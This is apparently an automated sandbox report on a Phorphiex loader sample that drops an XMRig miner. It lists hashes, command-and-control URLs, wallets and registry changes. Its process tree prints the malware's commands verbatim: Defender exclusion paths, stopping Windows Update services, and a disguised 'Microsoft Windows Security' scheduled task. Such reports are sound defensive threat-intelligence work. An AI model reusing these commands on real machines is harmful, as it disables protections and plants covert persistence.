phorphiex | ee4e23ea2bbf4c0b99adb8dffbac03dc7e9f4154c8dfba11b15c6711019a2ef7

Analysis

max time kernel
150s
max time network
149s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
27-10-2024 05:30

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General

Target

ee4e23ea2bbf4c0b99adb8dffbac03dc7e9f4154c8dfba11b15c6711019a2ef7.exe
Size

618KB
MD5

cd3237b1e648d31b8761196b6c64da8a
SHA1

2e677b7cafc3a8ee1696dddf38b176191d256559
SHA256

ee4e23ea2bbf4c0b99adb8dffbac03dc7e9f4154c8dfba11b15c6711019a2ef7
SHA512

d71338a7de6f1859edcbbd9ed0a32430e0561f8ae91883c62e6fbc4bc2d082ebd1d538312ef42543385c514ced0166c552fe211debf783f0deae82530045e4d7
SSDEEP

12288:QmKt6DsU6ngc3kY+KC5gzwGKZ4cuQW8XQAL019bqoFARwpVp:QR8Y+sxYWkX019bqgWwpVp

Score

10^/10

phorphiex xmrig discovery evasion execution loader miner persistence trojan worm

Malware Config

Extracted

Family

phorphiex

http://185.215.113.66/

http://91.202.233.141/

Wallets

0xCa90599132C4D88907Bd8E046540284aa468a035

TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6

qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

XryzFMFVpDUvU7famUGf214EXD3xNUSmQf

rsXCXBf9SagxV8JfC12d8Bybk84oPdMNN9

AULzfBuUAPfCGAXoG5Vq14aP9s6fx3AH4Z

LTK4xdKPAgFHPLan8kriAD7eY4heyy73mB

MP8GEm8QpYgQYaMo8oM5NQhRBgDGiLZW5Q

4BB7ckkaPTyADc8trtuwDoZxywaR4eNL5cDJ3KBjq9GraN4mUFztf7mLS7WgT7Bh7uPqpjvA4ypVwXKCJ1vvLWWAFvSmDoD

15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC

1BzmrjmKPKSR2hH5BeJySfiVA676E8DYaK

ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp

3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc

3ESHude8zUHksQg1h6hHmzY79BS36L91Yn

DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA

t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh

stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj

bnb1msyt0djx4ecspfxg5en0ye465kg3kmv9utzml2

bc1ppypcmu3684n648gyj62gjp2rw0xy7w3vwfamatlg29ajp4z52desafa0sr

bc1qc9edl4hzl9jyt8twdad3zjeh2df2znq96tdezd

Attributes

mutex
mmn7nnm8na
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

Extracted

Family

phorphiex

http://185.215.113.84

Signatures

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Windows Service
T1543.003

Processes:

sysppvrdnvs.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start = "4" sysppvrdnvs.exe
Phorphiex family
phorphiex

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start = "4"	sysppvrdnvs.exe

Phorphiex payload 1 IoCs

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\1305121714.exe	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

2624111286.exewinupsecvmgr.exe

description	pid	process	target process
PID 1428 created 1196	1428	2624111286.exe	Explorer.EXE
PID 1428 created 1196	1428	2624111286.exe	Explorer.EXE
PID 2776 created 1196	2776	winupsecvmgr.exe	Explorer.EXE
PID 2776 created 1196	2776	winupsecvmgr.exe	Explorer.EXE
PID 2776 created 1196	2776	winupsecvmgr.exe	Explorer.EXE

Windows security bypass 2 TTPs 6 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

sysppvrdnvs.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/2776-100-0x000000013F510000-0x000000013FAA7000-memory.dmp	xmrig
behavioral1/memory/2908-103-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/2908-105-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/2908-107-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/2908-109-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/2908-112-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/2908-114-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/2908-116-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

592 powershell.exe
2060 powershell.exe
2696 powershell.exe
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

pid	process
592	powershell.exe
2060	powershell.exe
2696	powershell.exe

Executes dropped EXE 9 IoCs

Processes:

E3E9.exe1305121714.exesysppvrdnvs.exe42862360.exe1008226405.exe1042117988.exe2624111286.exe162179265.exewinupsecvmgr.exe

pid	process
2300	E3E9.exe
2764	1305121714.exe
3064	sysppvrdnvs.exe
2440	42862360.exe
2084	1008226405.exe
528	1042117988.exe
1428	2624111286.exe
2164	162179265.exe
2776	winupsecvmgr.exe

Loads dropped DLL 8 IoCs

Processes:

E3E9.exesysppvrdnvs.exe1042117988.exetaskeng.exe

pid process

2300 E3E9.exe
2300 E3E9.exe
3064 sysppvrdnvs.exe
3064 sysppvrdnvs.exe
3064 sysppvrdnvs.exe
528 1042117988.exe
3064 sysppvrdnvs.exe
536 taskeng.exe

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

sysppvrdnvs.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

1305121714.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysppvrdnvs.exe"	1305121714.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

winupsecvmgr.exe

description	pid	process	target process
PID 2776 set thread context of 2756	2776	winupsecvmgr.exe	conhost.exe
PID 2776 set thread context of 2908	2776	winupsecvmgr.exe	dwm.exe

Drops file in Windows directory 2 IoCs

Processes:

1305121714.exe

description ioc process

File created C:\Windows\sysppvrdnvs.exe 1305121714.exe
File opened for modification C:\Windows\sysppvrdnvs.exe 1305121714.exe
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

1796 sc.exe
2240 sc.exe
2524 sc.exe
876 sc.exe
2752 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\sysppvrdnvs.exe	1305121714.exe
File opened for modification	C:\Windows\sysppvrdnvs.exe	1305121714.exe

pid	process
1796	sc.exe
2240	sc.exe
2524	sc.exe
876	sc.exe
2752	sc.exe

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exesc.exesc.exe162179265.execmd.execmd.exesysppvrdnvs.exesc.exesc.exesc.exe1042117988.exeE3E9.exe1305121714.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	162179265.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysppvrdnvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1042117988.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	E3E9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1305121714.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exe

pid process

2564 schtasks.exe
2400 schtasks.exe

pid	process
2564	schtasks.exe
2400	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

powershell.exe42862360.exe2624111286.exepowershell.exewinupsecvmgr.exepowershell.exe

pid	process
2696	powershell.exe
2440	42862360.exe
1428	2624111286.exe
1428	2624111286.exe
592	powershell.exe
1428	2624111286.exe
1428	2624111286.exe
2776	winupsecvmgr.exe
2776	winupsecvmgr.exe
2060	powershell.exe
2776	winupsecvmgr.exe
2776	winupsecvmgr.exe
2776	winupsecvmgr.exe
2776	winupsecvmgr.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exe42862360.exepowershell.exepowershell.exedwm.exe

description	pid	process
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	2440	42862360.exe
Token: SeDebugPrivilege	592	powershell.exe
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeLockMemoryPrivilege	2908	dwm.exe
Token: SeLockMemoryPrivilege	2908	dwm.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

dwm.exe

pid	process
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

dwm.exe

pid	process
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe
2908	dwm.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

ee4e23ea2bbf4c0b99adb8dffbac03dc7e9f4154c8dfba11b15c6711019a2ef7.exeE3E9.exe1305121714.exesysppvrdnvs.execmd.execmd.exe42862360.execmd.execmd.exe

description	pid	process	target process
PID 2560 wrote to memory of 2300	2560	ee4e23ea2bbf4c0b99adb8dffbac03dc7e9f4154c8dfba11b15c6711019a2ef7.exe	E3E9.exe
PID 2560 wrote to memory of 2300	2560	ee4e23ea2bbf4c0b99adb8dffbac03dc7e9f4154c8dfba11b15c6711019a2ef7.exe	E3E9.exe
PID 2560 wrote to memory of 2300	2560	ee4e23ea2bbf4c0b99adb8dffbac03dc7e9f4154c8dfba11b15c6711019a2ef7.exe	E3E9.exe
PID 2560 wrote to memory of 2300	2560	ee4e23ea2bbf4c0b99adb8dffbac03dc7e9f4154c8dfba11b15c6711019a2ef7.exe	E3E9.exe
PID 2300 wrote to memory of 2764	2300	E3E9.exe	1305121714.exe
PID 2300 wrote to memory of 2764	2300	E3E9.exe	1305121714.exe
PID 2300 wrote to memory of 2764	2300	E3E9.exe	1305121714.exe
PID 2300 wrote to memory of 2764	2300	E3E9.exe	1305121714.exe
PID 2764 wrote to memory of 3064	2764	1305121714.exe	sysppvrdnvs.exe
PID 2764 wrote to memory of 3064	2764	1305121714.exe	sysppvrdnvs.exe
PID 2764 wrote to memory of 3064	2764	1305121714.exe	sysppvrdnvs.exe
PID 2764 wrote to memory of 3064	2764	1305121714.exe	sysppvrdnvs.exe
PID 3064 wrote to memory of 2684	3064	sysppvrdnvs.exe	cmd.exe
PID 3064 wrote to memory of 2684	3064	sysppvrdnvs.exe	cmd.exe
PID 3064 wrote to memory of 2684	3064	sysppvrdnvs.exe	cmd.exe
PID 3064 wrote to memory of 2684	3064	sysppvrdnvs.exe	cmd.exe
PID 3064 wrote to memory of 2628	3064	sysppvrdnvs.exe	cmd.exe
PID 3064 wrote to memory of 2628	3064	sysppvrdnvs.exe	cmd.exe
PID 3064 wrote to memory of 2628	3064	sysppvrdnvs.exe	cmd.exe
PID 3064 wrote to memory of 2628	3064	sysppvrdnvs.exe	cmd.exe
PID 2684 wrote to memory of 2696	2684	cmd.exe	powershell.exe
PID 2684 wrote to memory of 2696	2684	cmd.exe	powershell.exe
PID 2684 wrote to memory of 2696	2684	cmd.exe	powershell.exe
PID 2684 wrote to memory of 2696	2684	cmd.exe	powershell.exe
PID 2628 wrote to memory of 2752	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 2752	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 2752	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 2752	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 1796	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 1796	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 1796	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 1796	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 2240	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 2240	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 2240	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 2240	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 2524	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 2524	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 2524	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 2524	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 876	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 876	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 876	2628	cmd.exe	sc.exe
PID 2628 wrote to memory of 876	2628	cmd.exe	sc.exe
PID 3064 wrote to memory of 2440	3064	sysppvrdnvs.exe	42862360.exe
PID 3064 wrote to memory of 2440	3064	sysppvrdnvs.exe	42862360.exe
PID 3064 wrote to memory of 2440	3064	sysppvrdnvs.exe	42862360.exe
PID 3064 wrote to memory of 2440	3064	sysppvrdnvs.exe	42862360.exe
PID 2440 wrote to memory of 2456	2440	42862360.exe	cmd.exe
PID 2440 wrote to memory of 2456	2440	42862360.exe	cmd.exe
PID 2440 wrote to memory of 2456	2440	42862360.exe	cmd.exe
PID 2440 wrote to memory of 2480	2440	42862360.exe	cmd.exe
PID 2440 wrote to memory of 2480	2440	42862360.exe	cmd.exe
PID 2440 wrote to memory of 2480	2440	42862360.exe	cmd.exe
PID 2456 wrote to memory of 1944	2456	cmd.exe	reg.exe
PID 2456 wrote to memory of 1944	2456	cmd.exe	reg.exe
PID 2456 wrote to memory of 1944	2456	cmd.exe	reg.exe
PID 2480 wrote to memory of 2348	2480	cmd.exe	schtasks.exe
PID 2480 wrote to memory of 2348	2480	cmd.exe	schtasks.exe
PID 2480 wrote to memory of 2348	2480	cmd.exe	schtasks.exe
PID 3064 wrote to memory of 2084	3064	sysppvrdnvs.exe	1008226405.exe
PID 3064 wrote to memory of 2084	3064	sysppvrdnvs.exe	1008226405.exe
PID 3064 wrote to memory of 2084	3064	sysppvrdnvs.exe	1008226405.exe
PID 3064 wrote to memory of 2084	3064	sysppvrdnvs.exe	1008226405.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1196
- C:\Users\Admin\AppData\Local\Temp\ee4e23ea2bbf4c0b99adb8dffbac03dc7e9f4154c8dfba11b15c6711019a2ef7.exe
  "C:\Users\Admin\AppData\Local\Temp\ee4e23ea2bbf4c0b99adb8dffbac03dc7e9f4154c8dfba11b15c6711019a2ef7.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Users\Admin\AppData\Local\Temp\E3E9.exe
    "C:\Users\Admin\AppData\Local\Temp\E3E9.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2300
  - - C:\Users\Admin\AppData\Local\Temp\1305121714.exe
      C:\Users\Admin\AppData\Local\Temp\1305121714.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2764
    - - C:\Windows\sysppvrdnvs.exe
        
        C:\Windows\sysppvrdnvs.exe
        5⤵
        Modifies security service
        Windows security bypass
        Executes dropped EXE
        Loads dropped DLL
        Windows security modification
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3064
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2684
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2696
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2628
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2752
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1796
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2240
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2524
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:876
      - C:\Users\Admin\AppData\Local\Temp\42862360.exe
        
        C:\Users\Admin\AppData\Local\Temp\42862360.exe
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2440
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2456
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        8⤵
        
        PID:1944
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2480
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        8⤵
        
        PID:2348
      - C:\Users\Admin\AppData\Local\Temp\1008226405.exe
        
        C:\Users\Admin\AppData\Local\Temp\1008226405.exe
        6⤵
        Executes dropped EXE
        
        PID:2084
      - C:\Users\Admin\AppData\Local\Temp\1042117988.exe
        
        C:\Users\Admin\AppData\Local\Temp\1042117988.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:528
        
        C:\Users\Admin\AppData\Local\Temp\2624111286.exe
        
        C:\Users\Admin\AppData\Local\Temp\2624111286.exe
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1428
      - C:\Users\Admin\AppData\Local\Temp\162179265.exe
        
        C:\Users\Admin\AppData\Local\Temp\162179265.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:592
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Microsoft Windows Security" /tr "'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2564
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:1516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2060
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Microsoft Windows Security" /tr "'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2400
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:2756
- C:\Windows\System32\dwm.exe
  C:\Windows\System32\dwm.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2908

C:\Windows\system32\taskeng.exe
taskeng.exe {9C5FDBCE-4D3D-4482-85F7-37925FB5F6B1} S-1-5-21-2039016743-699959520-214465309-1000:PIDEURYY\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
PID:536
- C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
  "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
